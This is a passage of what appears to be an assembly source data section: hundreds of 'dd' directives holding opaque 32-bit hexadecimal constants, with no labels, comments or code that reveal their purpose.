1DCDEFB3h, 604B9471h, 95EE2361h dd 0C01286CFh, 178CCC34h, 0B03D0068h, 0CD16D3F9h, 0E7034421h dd 0C108DF2Fh, 6FE998E1h, 0AACE006Ch, 853316BDh, 2FC2778h dd 4E53DF09h, 0FCE003CAh, 0E499A82Eh, 902D0707h, 7E5AA006h dd 0D1BC2962h, 45F7F5C0h, 748DA700h, 5108B4A6h, 1727E233h dd 1C7CE22Ah, 0C9C48014h, 0F3A7B9E4h, 0E0EAA74h, 21659A47h dd 0AC2EC74Ah, 0FAE01DFCh, 73A03A3Dh, 0D180713Ch, 0C75E8CDh dd 2300D4E1h, 0F25664D3h, 9F0EAh, 6D1A19CEh, 0FCF8D152h dd 801D9AFEh, 9E801BCFh, 6076368Dh, 0C050DEFBh, 39D56F5Ah dd 0E40196C3h, 0A2BCBDD6h, 0A8803023h, 0FB5AA18Dh, 0F13119F8h dd 547140FEh, 86C9C8h, 4D923252h, 42A56D03h, 2A75CD07h dd 0FCF67E63h, 22500060h, 4C4D7680h, 27001288h, 90A1F246h dd 0DABE7Ch, 0EE695FA0h, 0EF42ACAFh, 1811D00h, 0D16B113Bh dd 0BB9E030Eh, 0EEA43973h, 87E069CAh, 6D012FEAh, 7D3AE396h dd 0C571B6CBh, 58B640E2h, 0F6977B4h, 0B7ADD77Ch, 0E8BBFDC0h dd 0DD00407Bh, 83036BFCh, 5284C2h, 0B2891CC6h, 0BD005F6h dd 2F661A00h, 1F82EFA5h, 0DE0600B9h, 305A4191h, 9F0003E0h dd 3F99F673h, 8B10FDh, 3A0C1698h, 4117FAF2h, 14720700h dd 20852960h, 2B021C38h, 303700CAh, 0D9270B12h, 3FFEA000h dd 0C8BC93F1h, 55D8001Eh, 0ECABB799h, 6BE2CF7Ch, 0BA9B9000h dd 0A4165321h, 207A4Bh, 2D61DE3Bh, 65669535h, 3F583600h dd 0A337513Dh, 186E608Ch, 0AE35E02Bh, 16490B00h, 0A1F3FBFEh dd 0E6D200E8h, 5D8F6FD3h, 0BD0F5AC2h, 83CD4AFFh, 0E0751AA9h dd 78C0E21h, 0C5E19585h, 0C8210D5h, 2F05CF3Eh, 303178CAh dd 0E570E004h, 3BB6140h, 65052CADh, 9A64EDB8h, 0D3DBA6C0h dd 18DEA9Eh, 0D1B5850Dh, 0F859A041h, 0CF0046DAh, 0EC6D633Fh dd 8D4549h, 2CC3D823h, 0E4CA5736h, 3DF3B500h, 0F57740EAh dd 5E7BDFh, 267FD38Fh, 0E833C66Eh, 1DCB9700h, 812B9575h dd 0B29E033Dh, 0BB17EDC0h, 0A7C1E8A0h, 2F96900Ah, 5660B4F2h dd 0E7E48Ch, 95E6C214h, 0B14039C5h, 44A70800h, 9BF7DA3Ah dd 83AB0058h, 86A4FB04h, 520194B3h, 0E6D5E31Ah, 68805D25h dd 1759A99Ah, 1D001465h, 340CECEFh, 2630D6FDh, 4FF08Ah dd 0AFAB735Dh, 4F48EEA0h, 1E7E0B44h, 3181757Dh, 7022C29Bh dd 0FD5080F9h, 60908BACh, 0A908D38h, 0D4665E18h, 8E47EA05h dd 1BB88420h, 0C3D00073h, 96263B2Ah, 8F00E734h, 4B35176Eh dd 0BD2080h, 0EEB07CB4h, 9DB3BE87h, 17D2E4Ch, 0FF0EB582h dd 32308DA5h, 0B7812896h, 0F9DF00B8h, 56D1BE74h, 0E200F0E7h dd 142FF6D2h, 92710Dh, 0EBC01E04h, 0DAA35648h, 95AAB03h dd 0E88FC7F6h, 3C6A403h, 20767F1Dh, 0BCF837CBh, 0B61CCF23h dd 0C7003FE8h, 0DEF0BDC9h, 6BAC1E40h, 0DC4B40AAh, 2546DD8h dd 73CFD000h, 46DDAD52h, 0B9F51D42h, 909E008Dh, 9DEFBAD2h dd 4009BF8h, 20B27B77h, 28EDF796h, 0D6DCF6h, 53D7FC1h dd 438D9B13h, 0C0C24728h dd 37D62A00h, 6A08D7A7h, 0E8A20082h, 0C1A31E23h, 0B3072D4Dh dd 0C7C5C4DEh, 52BC2120h, 55CF00F8h, 77357362h, 5300EBC2h dd 0AFB48285h, 186788Ah, 0BCA5C8F9h, 0ED0B24A4h, 1196E0E9h dd 0E8F347E0h, 0A00CE18h, 1B92CBA2h, 0EAB329h, 2D746A4Ah dd 0F20B7FDFh, 0D95FC00h, 0A83DC5E5h, 0FEFD0953h, 480EC19h dd 48DC4172h, 0C80004B0h, 0D2F60885h, 0E297C6h, 520F18CDh dd 0B050F0BBh, 2CE87A01h, 0FBAFFA1Fh, 0F7E1830h, 0EA93F78Dh dd 0D079C3E7h, 0B9524875h, 9932CF03h, 0F8552ED0h, 0FA47B2AFh dd 0F8C0A6Dh, 0BBE82794h, 45075380h, 6FDF302Ah, 90A29F00h dd 0D82B5F94h, 87DA3BFEh, 1C50E001h, 601DA13Fh, 1B7452BCh dd 41D4C700h, 226B585Dh, 0A7EC034Ah, 0D9D3ABA4h, 1C0632E0h dd 0DA4BE800h, 3ACF7DAEh, 0D1760E7Bh, 9FC0505Ch, 0A52A74B5h dd 0F56C4103h, 8937EF72h, 0FE707607h, 7ED63340h, 57E80618h dd 0DF1C170Fh, 77803141h, 87DCD121h, 4A720EF2h, 13AE18B3h dd 0B5F80A00h, 4818BCBAh, 86111691h, 8D850977h, 648323D2h dd 0C0C75A96h, 49B309ECh, 0DC7AC07h, 7D40A876h, 149ADBh dd 5C9653AEh, 0F2345F22h, 4B09772h, 0FEDD7A12h, 1FDA5D00h dd 5006A2h, 9356DFBCh, 4AB119A1h, 0A6002676h, 0BA45ECCCh dd 0FAD8883Dh, 0BCA11F91h, 0A3D03C10h, 0BB050163h, 1614D6DDh dd 0B6C8E396h, 0D83C76A4h, 520A00E6h, 3BE42946h, 0B7FE00EFh dd 40CA68B4h, 2609314Ah, 18F9C01h, 1F3D6950h, 95226080h dd 26ACEFC2h, 2A72D1FBh, 707196E0h, 99D01C61h, 104840F6h dd 1DB60B1Ch, 96B02E60h, 0E14EC2h, 0CFF6B09Ah, 70693BC4h dd 94621B00h, 0D74B6E30h, 6A781473h, 7C7F9CB8h, 9DDC01D4h dd 4280688Eh, 0BD19C901h, 15C880A6h, 7CAF89A3h, 5D1C00FDh dd 0C2ACA798h, 0BF1F3E3Ch, 5E04C5A1h, 1C04AB0h, 2CF9A364h dd 809828EEh, 0A68A87D6h, 2700E125h, 0EA9A606Eh, 7CD4B5Fh dd 4D1DE08h, 3815B0B1h, 7700ABD2h, 9354F922h, 1386115Fh dd 7926B08h, 7041A2B0h, 59B2F727h, 358F5000h, 0C4F1EB61h dd 9C6F02BCh, 0FF620AA3h, 8B2E6C61h, 665F80h, 3A7075ECh dd 2960025h, 57D78E49h, 5B0432FCh, 9BB453F9h, 0B0DBE0C0h dd 3EEC3ACBh, 1C821E00h, 0EF15A258h, 0A8D39524h, 86D49603h dd 3E90168Fh, 667077Bh, 15DC4383h, 815716E8h, 24CA21CAh dd 1D635340h, 2AA20022h, 0E4206A2Dh, 781F9E90h, 150071B5h dd 1745F17Dh, 0F8030776h, 30794137h, 8C34073Ch, 1B15AB00h dd 1D4A6F90h, 0EA38B2B0h, 32D100C8h, 351949A3h, 0BE096F4Eh dd 0F63036h, 0E85837C8h, 31B161E0h, 0D381F915h, 90A3C13Ch dd 0D13F24CEh, 6C19F108h, 1EB2406Fh, 581D5Ah, 0FE468BF3h dd 0DA0E329Dh, 593ADE00h, 61CDA1A7h, 0CECFA0ADh, 0D51B17B6h dd 0E500EB34h, 0B368CCFEh, 0D3D0004Bh, 0E0D71278h, 22B06325h dd 830A6C7Fh, 0C07B1AD1h, 6D00B09Ch, 8E3C32CDh, 0ED9A3386h dd 2100B608h, 8A6D1115h, 90753FBDh, 34910345h, 0FB993C6Ch dd 0E8C8A4A1h, 4C005E15h, 4FA6F9ABh, 2887D0F2h, 80EAB8h dd 2C2FE6F6h, 7E6A164Eh, 8C5EEE6h, 0F0009DC7h, 70BDBD1h dd 0B18400B9h, 7F98D33Dh, 0AD69E324h, 90084050h, 0B94A005Ch dd 652E6FCEh, 41D0AA7Dh, 9E760D9Ch, 25DC7181h, 98A160C0h dd 0D6DE1EA7h, 30834E80h, 0CC186C39h, 7D054A95h, 0C00BFEA7h dd 80E75C04h, 3B2B2730h, 0A1DD373Fh, 7FA117Ch, 550BDCF0h dd 70153FB0h, 0FAD17656h, 19B0C010h, 9E814F98h, 674A9200h dd 39B1EB55h, 0D7E51D1Ch, 80DA9EF3h, 6B9512A4h, 0D00E93C2h dd 20FEADDEh, 111C043Bh, 0E4A47E45h, 881804A5h, 0C07BD02Ah dd 15C6D618h, 4309100h, 64EF4D08h, 0F0DFF84Ah, 0BAE40F03h dd 0B7A0CB23h, 0C8260569h, 0ED6E5800h, 6A1AB9E0h, 243A3062h dd 0B42DD2E2h, 0C97D0E00h, 0BCCD13Fh, 8D624CA0h, 0C377807h dd 13A670B5h, 3A00C92Eh, 5E5FB860h, 0E939ACh, 7D284241h dd 431844FAh, 79C69A00h, 5AEE83E4h, 0FB8C00A9h, 4A98EA23h dd 0A603A338h, 0D4C6B43Ch, 0F80289E8h, 0FD5D0D0h, 0B89370BFh dd 560E7561h, 0E65BE063h, 0D18AA00h, 59D5FF13h, 0E1B900B1h dd 0E360E56Dh, 8001C4E8h, 97136837h, 0C8E0DF12h, 81D70074h dd 5B676B7Fh, 863AE480h, 8ED02430h, 2D129803h, 1D293CC9h dd 0B22087C4h, 115C2283h, 0C7E2B910h, 72314475h, 50842920h dd 679228E8h, 985529E4h, 79C63E8Ch, 0A8228434h, 687144EBh dd 8BC50600h, 8E195693h, 0A7540E55h, 7D23F70h, 60F896B4h dd 0D6237DCDh, 3200117Dh, 5A3652CBh, 0FFB54Eh, 0DA0AEA37h dd 0E235FEC2h, 1FFC9500h, 0D4CA007h, 0C7500B9h, 4BDE6869h dd 0A10EBC32h, 8034786Fh, 0EF21D7A6h, 72D20002h, 0BFC3D1Dh dd 23EC85EEh, 65B8BF07h, 1A1057A4h, 0D3B7ADh, 78484361h dd 0B5DCF96h, 4D1F8D03h, 903A21B2h, 52F2D5h, 78D2EBFAh dd 0FB37383Eh, 29002074h, 0DE756441h, 0FD1AB142h, 65C7ECh dd 0BF140113h, 0EF7BB003h, 0F018FF00h, 0E9C14F82h, 2DB10145h dd 5AD95FDDh, 0C4DEF051h, 0B2C8A500h, 4678EB8Eh, 98AB18F7h dd 0A9F2A14h, 2786F100h, 0E5CBBBC6h, 0A07CB097h, 26825C3Ch dd 26A61E34h, 0CA8F0746h, 0F5617ED6h, 0F0531D9Bh, 0F70F3C94h dd 0A09F7BBFh, 0F1AC55A8h, 48D60001h, 456D0379h, 381A4D32h dd 404458h, 6EA0ACB4h, 0E0008EB0h, 70D69D36h, 1C4EB715h dd 80086619h, 8CAEED2Dh, 1DE8B1CBh, 5715791Eh, 0F3C86D40h dd 25EC92CDh, 46D4D542h, 4E24D030h, 343B00CAh, 0FD320C9Ch dd 0F9005E3Fh, 1A626DB6h, 0F28AB0Ah, 0B567F16Fh, 0F0B1C0C3h dd 93644CE8h, 0A13C7DFEh, 31FD00B0h, 0E07B8256h, 0E8CC0391h dd 3FB3FA28h, 892CCBD8h, 0D6D258h, 0AB068F0Bh, 3C0C85h dd 0DB5663ACh, 0AE8D7C18h, 0EB175802h, 80A03929h, 0C61413ACh dd 41CC00D3h, 0D165372Bh, 54398683h, 32A387C0h, 0C810D2E9h dd 51FA23h, 1AF74DBEh, 0C5EFFF90h, 15FCA100h, 6EB268A0h dd 0BC3914EBh, 2300E5B8h, 84E5FF89h, 7C008EA5h, 85533A96h dd 0EABB66Eh, 0FF547449h, 0D2AE5B00h, 65003BF9h, 7811334h dd 2A4CB323h, 7BC8DBE0h, 0E080098h, 0A3D7625Dh, 5C000661h dd 730C5B85h, 1E508Fh, 22ECBAE1h, 0E6F71A01h, 0EDDCE500h dd 1F11B0B2h, 5F20034Ah, 3D7BB881h, 0CD43298Ah, 0C7F440A8h dd 500049E6h, 83DBF20Ah, 7D560D8Ah, 6D510015h, 44E96431h dd 9E003FC0h, 7654723Bh, 0A0C5Ch, 2DC8696Ah, 6B047755h dd 3E92B702h, 487C5345h, 0A47138h, 85D83DCFh, 41DECD46h dd 94DAFE60h, 3CA075DDh, 0BC07E17Fh, 0DE018504h, 0C5351A00h dd 663B46CCh, 0E85D0E36h, 0BD38A07Dh, 48936254h, 8C00BD8Ah dd 0DF96ED20h, 0E901051Eh, 42241C31h, 0B820C0B9h, 97203D01h dd 25609E00h, 0E8FB16BFh, 59C12300h, 36878637h, 0E7CD0013h dd 2AF6D926h, 4500B05Ah, 0DC7F1FBFh, 7C3C5CAh, 18E9459h dd 0E085B727h, 6B3DFF40h, 19082A00h, 66D8AFAh, 0FBF80053h dd 0C8F274ECh, 770049E8h, 0DAA856F1h, 709D393Ah, 48F3E44Fh dd 95093804h, 5200A1A6h, 355FD57Eh, 0E82770Fh, 0CE2B4060h dd 4CB55532h, 0D81C0FB0h, 0E99D0036h, 0F55135DFh, 6E31700h dd 1A033B7Ah, 9315188Bh, 97192988h, 66B7DF07h, 0F450050Ah dd 1642D9h, 19B181Ah, 20525949h, 0E5896E0h, 0B927073Ch dd 99A00FA7h, 6ED87Fh dd 0CFC60C5Eh, 3904AC4h, 2177D900h, 5A940EDh, 0B02F00B3h dd 25C9459Ah, 69583B80h, 8AF600C8h, 0F1D2A098h, 0CDC7F0Ch dd 0E9FB0730h, 0B005410h, 338DD860h, 1CE234Ah, 0F76F217Fh dd 604E16F0h, 1B004CC8h, 2325C7B5h, 0FB0A2h, 0AE7F9204h dd 336F5AEBh, 0C4AAED00h, 8906EA0Eh, 70FB00AFh, 0C0C13645h dd 1D008668h, 0FA04A315h, 1F2AACh, 0AE439FA5h, 20CC81A8h dd 58D47800h, 0F2D127F7h, 229B124Fh, 33F02E6h, 8880FC2Fh dd 0A8829F67h, 0D3C44A00h, 2A63F408h, 6E3800ECh, 0D492663Fh dd 5C0A7095h, 0B1E3456Bh, 3DAEFD00h, 0FEB6FAh, 3615D76Ah dd 0E8715205h, 948A5307h, 9B72BDF0h, 89266014h, 0A2B000F5h dd 0ED745164h, 0FF245C7Fh, 7E80F816h, 67F223D0h, 61600F59h dd 7423ED0Ch, 203F495Dh, 95A6036Ah, 0C0657FDBh, 947BAFh dd 0AB526D8Ch, 518A23F4h, 0B94C7301h, 97639982h, 0E83422C1h dd 6D690046h, 5612ABF2h, 9000A575h, 309EBC0h, 0A0A7D8A3h dd 0EE73C995h, 6BF4A1h, 8606D6Ah, 3CEF059Ah, 0F4B8E8A1h dd 530009F3h, 48451352h, 566C5Bh, 722B490h, 0FEB5E4AEh dd 19016278h, 3AAF30C0h, 0F5E40E79h, 0CC1E0313h, 0B315C12Ah dd 782E3000h, 8EA11D42h, 73D77AFDh, 521900FBh, 5CE5F9C6h dd 0D4E20883h, 0C400DC98h, 2879910Ah, 197DAA4h, 578F5CDh dd 0F89A921Bh, 0E800ABF0h, 821A59F1h, 43CD96h, 8B7EFFE6h dd 58C5A71Fh, 1B8B007h, 39BE15h, 1ED58C54h, 275D1E54h dd 0B08601E7h, 0E85CC3E6h, 7D03A278h, 7A43516Ah, 941C0048h dd 0E853D405h, 0F350460Ch, 0C600CBFFh, 155EDD20h, 1E1149ACh dd 0F62E4F8h, 1BA014FBh, 22ED76B9h, 0CF263B05h, 449078F1h dd 0D152Ch, 0E6886830h, 723C816Dh, 3C0FF14Ah, 89C7E0D9h dd 4BDB8Ah, 26F72892h, 87FB485Dh, 0C097F204h, 2090DE6Eh dd 5F99F0h, 0A94583BBh, 0C4F3D95Ah, 2257BA00h, 890F704Ah dd 0B5AD0331h, 0FB8F126Ch, 0C5999800h, 22BA2DECh, 0A8FF0075h dd 9A4BB12Eh, 2C038068h, 71E2ADE6h, 9482842Fh, 8F62406Bh dd 0DCD63E93h, 1E9F3703h, 38C8FA21h, 3D04FB01h, 3E7C9B6Fh dd 2E9DF8AEh, 100B0DA4h, 0B00C00E5h, 21F3DF1h, 0B777FB95h dd 9440B2CBh, 0AC218CDDh, 0E803EF4h, 8199934h, 173A1DD7h dd 0A35203B5h, 0C887147Ah, 3E63FEBh, 0ADDE7FB2h, 0E7902145h dd 37011C71h, 574E9414h, 1DD8093Ch, 834F015Ch, 2E3D636Dh dd 74C050A5h, 0D8DE4385h, 0B0BB0600h, 1746AE36h, 0B2B9E5Ch dd 0D400D974h, 7282FA8Fh, 0E099BF01h, 4813A59Ch, 371EC20h dd 96C13B62h, 0B6A8BCF3h, 7700EDECh, 727E9EEEh, 64BB85h dd 7B48BE4Bh, 0F54D2916h, 8CBC8A01h, 0DBDE7701h, 1827C4D4h dd 98EB18B6h, 3C007C7Dh, 1B1D5039h, 0B0E45970h, 0DD2A0141h dd 679F94F5h, 3123207Eh, 6C84200Eh, 8C1AC0EBh, 0AA2672h dd 0CF16F8CBh, 93C7404Bh, 0FBFDA70Bh, 69D8800Ch, 6AC9DAh dd 63DECA30h, 0AABD8D5Fh, 6485C71Fh, 1132BC40h, 289A31h dd 17C4CA53h, 9CD84E8Fh, 6B0CBDFEh, 0C0AD2CF1h, 9D160E08h dd 9321E303h, 40548AB7h, 766FDBB7h, 3DC1A439h, 7E200081h dd 7F44B637h, 6F0A4877h, 56FD8000h, 90389BC7h, 97294D07h dd 9AE0C659h, 23C0432h, 2101FE78h, 2AE01C7Ch, 7008B0Fh dd 0DDC1462Fh, 58365h, 7F330625h, 9339531Ah, 28708700h dd 954D350Dh, 0F49EE4Fh, 33D5A218h, 962347A0h, 0F5001043h dd 0CE9AECEFh, 0E6F0FB4Ch, 69D00EBh, 3B482C19h, 0D8001F70h dd 4A2439D3h, 7AD00C71h, 25D600D7h, 0B972ACEBh, 50005A6Fh dd 0D43F7C59h, 3D2AF0h, 1C7FA841h, 7168A2C3h, 25D76D00h dd 1867CA8Eh, 8BC80088h, 0E5FE3DDBh, 0B90049FCh, 4EA47524h dd 3F3138A2h, 19802313h, 290E4DDFh, 8009CD1h, 6F9451A6h dd 33E520h, 4E67C41Ah, 666B2CE2h, 0C3EB4F00h, 0BCFA3670h dd 192FA9Eh, 3B3A297Dh, 21DE285Bh, 8A7EFCD1h, 1F476500h dd 85AED0C2h, 0E7380006h, 3F0B3455h, 6700F013h, 48A3AD20h dd 7C866459h, 0B48150A0h, 833D0091h, 8408F278h, 9D00A543h dd 822BE6D9h, 1C2168Fh, 0DFE4949Bh, 0FCCE1097h, 0C614FA01h dd 80E471F4h, 12837B54h, 0AB1A00A3h, 0BF4ADFD8h, 0A1006209h dd 0CCFBA4Fh, 78709C84h, 0A7100096h, 47E22F19h, 26FED23Fh dd 0A0E2218h, 98FD0B18h, 397900D1h, 722F42DBh, 84072CD9h dd 9BC4BCC6h, 70DCAD10h, 0BE9A00ACh, 16A5E58Eh, 60F83CDBh dd 9CAF5E01h, 0BF0EF71Ch, 28A970D0h, 0E6B0C1D5h, 0F03D26EEh dd 0D25D0073h, 54D34BE7h, 0A1F92400h, 0C7ADE929h, 500D0043h dd 9EDB1070h, 3B24C588h, 5F00789Dh, 0A686C6DEh, 0B5303C67h dd 85D04300h, 612E8FFh, 90F8D06h, 0A8C07Ah, 0D281DB29h dd 538A9FFCh, 0C20D9A00h, 3C785143h, 0D2615CD7h, 0D0418700h dd 3137565Dh, 54C2DB03h, 0F05B014Ch, 0F02F85Eh, 0BB213CF3h dd 7606CE5Fh, 54D8E9C0h, 121DF9B5h, 3EC1F74Fh, 0F15CB98Ch dd 0C0BDEFC4h, 0E0C01B80h, 92FED387h, 0E1985400h, 0CC480B9Dh dd 29400F2h, 31C1E55Fh, 0AF01AE21h, 0DF827B8Ah, 6EF05A2Ah dd 1CA900D5h, 8EE37D4Bh, 0E4007123h, 97FA7090h, 160D734h dd 0B687ABDBh, 0C0103C53h, 4000461Dh, 0E7C41574h, 1F9C5644h dd 130302h, 32EC4B51h, 1898B1E4h, 12C91B00h, 3708D674h dd 679A5C28h, 0FA9DEA00h, 5B51498Dh, 0A9007EEEh, 27AD3D61h dd 185B4B5h, 0C057348Ah, 319429A5h, 0B09E4006h, 0A078767Eh dd 0B259C703h, 0C8D2EA8Ch, 558527h, 296BCA9Fh, 0F2543C6Fh dd 93B4E4F7h, 2E91DC00h, 43DF8421h, 0D0362C53h, 5AED0074h dd 4EA1504Bh, 0B2035Ch, 7D683AE8h, 5873C790h, 0F8070BC4h dd 6E1E09h, 2A9263ADh, 2EE4BB00h, 0CC34CEE1h, 55EC0025h dd 9C408E21h, 8C07E6C8h, 5A87EB52h, 9BD35960h, 36FF0044h dd 8578E1B6h, 680098E2h, 0DC694F90h, 9F6EBFC0h, 0CF000058h dd 887ECA5Ch, 3FB7E563h, 0E860D45Bh, 4E601791h, 0B4BAE700h dd 0D5134B69h, 652B00F0h, 7747E53Fh, 420E07CAh, 207BD380h dd 1D858A3Eh, 6F6E0066h, 0D65D9269h, 0D7E02B4Ah, 0B94F8814h dd 914200EEh, 117828C3h, 9EBB5C02h, 21BE2400h, 0FDCA9A1Dh dd 0BA4722Eh, 0F3655B01h, 0C6706C97h, 606600C3h, 0FC7859EBh dd 7F3AFD4Fh, 8E820058h, 449543F8h, 78B6757Ah, 0D33550B4h dd 0BC281414h, 0DE00DCB1h, 4DF1F382h, 0FB00A6F0h, 0EE4B71D4h dd 0B8FAA5h, 2DB27E44h, 0F81EED1Ah, 32E30F00h, 10CAC86Ch dd 0BC3600F7h, 5B1FF26Bh, 0E007547Bh, 0B6236173h, 0FF8A034Eh dd 966E88EBh, 62270198h, 28A4F4FAh, 0DC9EC4D5h, 0A01BEE01h dd 99FDE348h, 90B926C8h, 71420093h, 0C3F4083Ch, 9A0011FAh dd 0F65BD56Ch, 0E75A0A4h, 72E8EE9Bh, 238749A7h, 81C07C7Fh dd 0BA00B702h, 0BCF5F89Ch, 516260h, 1CD7355h, 0DA9EEACBh dd 1A942601h, 1268B740h, 6C2D90E3h, 5D9A0044h, 0DE71F86Eh dd 4F00574Bh, 0D980DFC2h, 73953Ch, 0AF1BED22h, 0F7D05EBAh dd 98047100h, 0C52757FBh, 0D6E8009Eh, 0BFDB0EC0h, 3900C368h dd 637DF610h, 8D1FC4h, 7F2F3D47h, 2C2492B6h, 5C1CC7FEh dd 9AB0E1FFh, 132D70h, 0E3F38FD6h, 0AF2B752Fh, 0B71F617Ah dd 0C0CBF73Eh, 0B67C0030h, 8CE506h, 0A86D2E63h, 26D479A4h dd 213DC13h, 0A041990Ah, 1DC0C19Ch, 0AB244F38h, 0D9B20103h dd 0E151D7F5h, 5F002006h dd 50F08700h, 990D955Bh, 0EE89263h, 5313CBE9h, 5E18ACE0h dd 643BB69Dh, 8CAF0750h, 1DC0A2B1h, 0F0823241h, 0D50A00E5h dd 0A99156E4h, 0A6074804h, 8DBB55FFh, 0F6C072E0h, 4D4B0624h dd 0F02395E3h, 570DB20Ch, 5F719Dh, 0DD6BF0CFh, 873EFFB0h dd 7F0D1314h, 0D5E10010h, 485B1DF3h, 9AAA2802h, 23960854h dd 0FE00BA53h, 0FAF5D2E1h, 76B000D6h, 0DC406BFBh, 9F1E0F54h dd 9A9FA3DEh, 0A7F38C00h, 69AD23h, 0F95B4BD2h, 4C834A25h dd 0C3ABDE1Ch, 97C20340h, 20E5423Fh, 82759EF1h, 4FEF22Bh dd 8CF92973h, 616E504h, 102BAEB0h, 0E128097Fh, 0F10704DCh dd 83372D66h, 0EB452957h, 74CA1C10h, 78A22E02h, 936E198Dh dd 0C180E20h, 4A400E62h, 0E278EE04h, 498FF68h, 86165032h dd 0CD48FC18h, 0D369C499h, 19717832h, 31CA232h, 0A9909075h dd 50815644h, 0A87CA043h, 0A2E66B60h, 71043008h, 690E06C5h dd 81E9B72Dh, 0C8A9FF34h, 821C0411h, 8C3A1EEBh, 0A83608B4h dd 0DF235F0Ch, 644C2A29h, 777F806Ah, 0B758508Ah, 1EC200A3h dd 0EECC5F51h, 9714FB56h, 7870FFD1h, 0FFD543Ah, 86B8B764h dd 8508B4A8h, 5F0468FCh, 67C9D158h, 5A3B10ABh, 661940B4h dd 5F00387Fh, 77526C50h, 1F58E844h, 2A871Ch, 0B7A0899Ch dd 857BAED9h, 2D73011Bh, 86DAF018h, 20F31826h, 172A2806h dd 0C008A36Fh, 906C09C9h, 0DA871C8Ch, 8462039Bh, 0B0BF4E79h dd 0D1619C92h, 0A7387560h, 606B4F54h, 866D715Ah, 0D9034301h dd 3187FD06h, 0A169387Bh, 48B71A1Bh, 0DBCF73C0h, 87DE1C1Ch dd 383FA9C6h, 33501F08h, 0A43AC182h, 87BD049Fh, 0C7D690A0h dd 0C0460388h, 810246Ch, 56013851h, 8A4B172Dh, 3949992Ah dd 26E0EC09h, 143F00C7h, 798FDE22h, 0AE00FC18h, 908D4F43h dd 3C638171h, 4200FF6Ch, 92824E33h, 55342BE8h, 904B12D8h dd 9B0402B3h, 0A98C8153h, 0E980FC3Bh, 0D3AF1CF3h, 71BF69Eh dd 0C0895291h, 0EFDA5Ah, 1D48D4Bh, 0B878C09Fh, 0BA5F403h dd 1E902391h, 0AAED828h, 8FC0E894h, 1E16D11Ch, 0C85C067h dd 4BDBC09Eh, 40899803h, 109AB5D4h, 668A4830h, 86AE1h dd 7C44BE3Ah, 99CCD54h, 1DCCC53Ah, 83801A47h, 106FE95h dd 0BD10A0C2h, 909D06D0h, 0A19E28A1h, 0A844F3h, 172E42ACh dd 7B0163D2h, 16F1C8CDh, 72F425B7h, 2898A0C9h, 0AF01121Dh dd 90000A5Bh, 0B0E8A8h, 0DF291DEFh, 17154914h, 76E4B89Fh dd 4FF18060h, 29FFF278h, 42B8D7AFh, 36193E93h, 9E713010h dd 6CF69C1Fh, 2E451F00h, 428880h, 737D1397h, 0D243C17Fh dd 0E2ABA207h, 9DF6D689h, 0F8A10058h, 65BF9FFCh, 2B1D0B97h dd 0B281C01Ah, 0D671F94Bh, 78101BECh, 0A6A00C80h, 60C8674Ah dd 1D9E1F60h, 40BCA70h, 0A67844AFh, 0F450925Fh, 0E49F720h dd 0A90921Ah, 7D0105ADh, 7C41AF90h, 0E6B8479Fh, 0B807309Eh dd 1D5A4F18h, 0DC948404h, 72FAD801h, 80D0E509h, 88CA5DEh dd 630F8FE7h, 3043087Fh, 0BDF938E1h, 3078AB30h, 0F9814BAAh dd 49DF1820h, 0EC63090h, 2CA029B0h, 0D14A465h, 204C9FC3h dd 0AC011456h, 13206025h, 91D7D630h, 0E6B61Dh, 0FC307ACFh dd 0A5A19FBh, 4D684966h, 489141h, 9EFAE241h, 17317BCEh dd 421CB1B9h, 5B992988h, 45FACA81h, 7983269Fh, 0B4E117Ch dd 81581044h, 0AE3783Ah, 4833D68Dh, 88B77B40h, 2B0400C1h dd 0DCFBEBD1h, 0D200795Ah, 0CFCE99C8h, 7C189F6h, 41ED276Dh dd 4660FC7Bh, 1D4F048h, 4FA19ADCh, 0E2CFEBFEh, 578645Bh dd 0A2731FF5h, 0F694420Ah, 0B08E8243h, 4108213Eh, 0B1F11A33h dd 6CC13480h, 0A9C01955h, 0A2D19D92h, 1B990BD3h, 0C087EECAh dd 4C0BE7Ch, 6873757Ah, 2A0C2648h, 11C8CB1h, 982106E2h dd 57F60853h, 81ED1730h, 83DC9DAh, 596F6114h, 9BD3DC81h dd 0C1E1568Dh, 0EC6D020h, 0F6E14F99h, 91145001h, 3EC82395h dd 1F2D06EDh, 1022BDh, 123DBE64h, 4266F76Ch, 8C05A9A2h dd 1898409Bh, 8F5AD2B3h, 7C323F01h, 0A5FB124Bh, 4C5CA880h dd 77BA96FDh, 6AA9AC1Fh, 5834BBC7h, 59753CB1h, 32E465FDh dd 1E5782Ch, 0FE0676ECh, 0E0F59984h, 0D3029454h, 85C6F26Eh dd 6FBCA568h, 438A44Ah, 0D7F002FFh, 743DC3B8h, 49C83424h dd 5FFF9903h, 0EF2FE001h, 0D5E10E71h, 0BAE0449Bh, 1F88ABC6h dd 99D22303h, 115CED36h, 586B1428h, 1D2962C4h, 0E8722280h dd 0E0FD7B21h, 41428807h, 61E252Ah, 29189D28h, 222E9022h dd 0FA224D94h, 3CD050E7h, 9411EF34h, 0DCA61158h, 19AE010h dd 0BED89BEEh, 89619D29h, 0DF3C4122h, 0CC2994B4h, 50EB1150h dd 19DA0E11h, 80299DDEh, 0C0AA519Fh, 22D20C3Dh, 7B7C1160h dd 0CCE8E407h, 0E5D0D458h, 0E08EE8Bh, 66D84236h, 4B3B8600h dd 0F800B05Bh, 9D6A542Fh, 0E1D83BEh, 0FA7FADE1h, 191C6F80h dd 0DE005147h, 0C03924BAh, 7BC9C862h, 0E67F0776h, 3E0ED904h dd 3E0EAEEh, 9688CE2Eh, 98219A00h, 0E98A29E3h, 47743B05h dd 0E7D9F0Fh, 2415B060h, 65F2A7B2h, 0CBD1AD05h, 0A080F123h dd 1E5AC6A6h, 0F24A49h, 47FF4105h, 4F0484BBh, 0DE24636Eh dd 29C51880h, 0E055EAC8h, 0C91C00C4h, 0E914F03Ah, 0B200AF09h dd 0E6AB4E92h, 5C30C1h, 0ECD3163Fh, 62EECDA3h, 2F7B1C1Eh dd 61E7D0C0h, 24837D86h, 48A9AEh, 0B85ABADFh, 4500CC9Eh dd 41A621DCh, 62D368h, 2E81380Fh, 0A3036F85h, 153E5A03h dd 0D06A5025h, 3DBEBBE7h, 2D00846Dh, 32612CACh, 3006C8Bh dd 1353E3A1h, 0A7EC9Bh, 5A34F6BFh, 5257D10Fh, 0B489703h dd 8143375Fh, 1AC88ED4h, 55150E83h, 73C0D2D9h, 76B9FEE7h dd 161B9F00h, 470F45D0h, 0D4FD00E4h, 28FB323Bh, 1C7FA117h dd 0DAF5D900h, 0CA8DCD0Ah, 20BDF5ADh, 0A93A6B00h, 5EB55093h dd 